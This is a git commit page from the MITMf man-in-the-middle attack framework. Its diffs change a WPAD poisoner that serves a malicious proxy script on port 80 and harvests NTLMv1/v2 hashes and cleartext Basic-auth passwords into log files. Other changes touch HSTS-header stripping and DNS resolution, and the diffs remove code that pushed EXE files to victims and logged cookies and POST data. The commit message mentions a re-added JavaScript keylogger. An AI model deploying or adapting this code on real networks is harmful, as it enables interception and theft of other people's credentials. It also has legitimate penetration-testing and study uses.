WPAD Poisoner back online, removed options in config file and rellative code for choosing which DNS server to use. (there really was not point in keeping it)

the --basic and --force options and the EXE serving in the Responder plugin have been removed, until I can find a better way of implementing them.
Modified and re-added the JS-keylogger and SMBauth plugins
This commit is contained in:
byt3bl33d3r 2015-05-04 23:13:21 +02:00
commit 5d07551a50
13 changed files with 312 additions and 165 deletions

View file

@ -44,5 +44,6 @@ class ConfigWatcher(FileSystemEventHandler):
def reloadConfig(self):
try:
self.config = ConfigObj("./config/mitmf.conf")
except Exception, e:
except Exception as e:
mitmf_logger.warning("Error reloading config file: {}".format(e))
pass

View file

@ -1,12 +1,12 @@
import logging
import threading
import sys
import threading
from impacket import smbserver, LOG
LOG.setLevel(logging.INFO)
LOG.propagate = False
#logging.getLogger('smbserver').setLevel(logging.INFO)
#logging.getLogger('impacket').setLevel(logging.INFO)
logging.getLogger('smbserver').setLevel(logging.INFO)
logging.getLogger('impacket').setLevel(logging.INFO)
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log")
@ -25,4 +25,47 @@ class SMBserver:
def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start)
t.setDaemon(True)
t.start()
t.start()
"""
class SMBserver(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file', 'None')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
#smbConfig.add_section(DUMMY_SHARE)
#smbConfig.set(DUMMY_SHARE,'comment','')
#smbConfig.set(DUMMY_SHARE,'read only','no')
#smbConfig.set(DUMMY_SHARE,'share type','0')
#smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.smb.processConfigFile()
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
"""

View file

@ -1,16 +1,23 @@
import socket
import threading
import logging
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.common import *
from HTTPPackets import *
mitmf_logger = logging.getLogger("mitmf")
class WPADPoisoner():
def start(self):
def start(self, options):
global args; args = options
args.forceWpadAuth = False
args.basic = False
try:
mitmf_logger.debug("[WPADPoisoner] online")
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
@ -36,17 +43,14 @@ class HTTP(BaseRequestHandler):
self.request.settimeout(1)
data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0])
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
if Verbose:
print Message
mitmf_logger.info(Message)
if buff and args.forceWpadAuth is False:
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
self.request.send(buff)
else:
buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0)
except Exception:
pass#No need to be verbose..
except Exception as e:
pass
#Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
@ -92,18 +96,8 @@ def ParseHTTPHash(data,client):
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
def GrabCookie(data,host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
mitmf_logger.info(CookieStr)
return Cookie.group(0)
else:
NoCookies = "No cookies were sent with this request"
mitmf_logger.info(NoCookies)
return NoCookies
def WpadCustom(data,client):
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
buffer1 = WPADScript(Payload=WPAD_Script)
@ -112,12 +106,6 @@ def WpadCustom(data,client):
else:
return False
def WpadForcedAuth(Force_WPAD_Auth):
if Force_WPAD_Auth == True:
return True
if Force_WPAD_Auth == False:
return False
# Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic):
if Basic == True:
@ -125,77 +113,14 @@ def Basic_Ntlm(Basic):
else:
return IIS_Auth_401_Ans()
def ServeEXE(data,client, Filename):
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
mitmf_logger.info(Message)
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def ServeEXEOrNot(on_off):
if Exe_On_Off == "ON":
return True
if Exe_On_Off == "OFF":
return False
def ServeEXECAlwaysOrNot(on_off):
if Exec_Mode_On_Off == "ON":
return True
if Exec_Mode_On_Off == "OFF":
return False
def IsExecutable(Filename):
exe = re.findall('.exe',Filename)
if exe:
return True
else:
return False
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
mitmf_logger.info(HostStr)
#print HostStr
if POST:
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
mitmf_logger.info(Host3Str)
#print Host3Str
if len(''.join(POSTDATA)) >2:
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
#print PostData
mitmf_logger.info(PostData)
#Handle HTTP packet sequence.
def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
buffer1.calculate()
return str(buffer1)
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01":
GrabURL(data,client)
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
@ -205,11 +130,8 @@ def PacketSequence(data,client):
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client)
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client)
if Verbose:
print Message
mitmf_logger.info(Message)
if args.forceWpadAuth and WpadCustom(data,client):
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
buffer1 = WpadCustom(data,client)
return buffer1
else:
@ -218,16 +140,11 @@ def PacketSequence(data,client):
return str(buffer1)
if BasicAuth:
GrabCookie(data,client)
GrabURL(data,client)
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client)
if Verbose:
print Message
mitmf_logger.info(Message)
if args.forceWpadAuth and WpadCustom(data,client):
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
buffer1 = WpadCustom(data,client)
return buffer1
else:
@ -236,5 +153,5 @@ def PacketSequence(data,client):
return str(buffer1)
else:
return str(Basic_Ntlm(Basic))
return str(Basic_Ntlm(args.basic))

View file

@ -17,8 +17,11 @@
#
import sys
import logging
import inspect
mitmf_logger = logging.getLogger("mitmf")
class ProxyPlugins:
'''
This class does some magic so that all we need to do in

View file

@ -192,21 +192,14 @@ class ClientRequest(Request):
else:
mitmf_logger.debug("[ClientRequest] Host not cached.")
if self.urlMonitor.getResolver() == 'dnschef':
self.customResolver.port = self.urlMonitor.getResolverPort()
self.customResolver.port = self.urlMonitor.getResolverPort()
try:
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
address = str(self.customResolver.query(host)[0].address)
return defer.succeed(address)
except Exception:
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
return reactor.resolve(host)
elif self.urlMonitor.getResolver() == 'twisted':
mitmf_logger.debug("[ClientRequest] Resolving with Twisted")
try:
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
address = str(self.customResolver.query(host)[0].address)
return defer.succeed(address)
except Exception:
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
return reactor.resolve(host)
def process(self):

View file

@ -71,7 +71,8 @@ class ServerConnection(HTTPClient):
try:
user_agent = parse(self.headers['user-agent'])
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
except:
except Exception as e:
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e))
self.clientInfo = "{} ".format(self.client.getClientIP())
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
@ -135,7 +136,7 @@ class ServerConnection(HTTPClient):
self.isCompressed = True
elif (key.lower()== 'strict-transport-security'):
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo))
elif (key.lower() == 'content-length'):
self.contentLength = value
@ -181,7 +182,7 @@ class ServerConnection(HTTPClient):
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
data = self.replaceSecureLinks(data)
res = self.plugins.hook()
res = self.plugins.hook()
data = res['data']
if (self.contentLength != None):

View file

@ -53,10 +53,6 @@ class URLMonitor:
return URLMonitor._instance
#This is here because I'm lazy
def getResolver(self):
return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower()
#This is here because I'm lazy
def getResolverPort(self):
return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port'])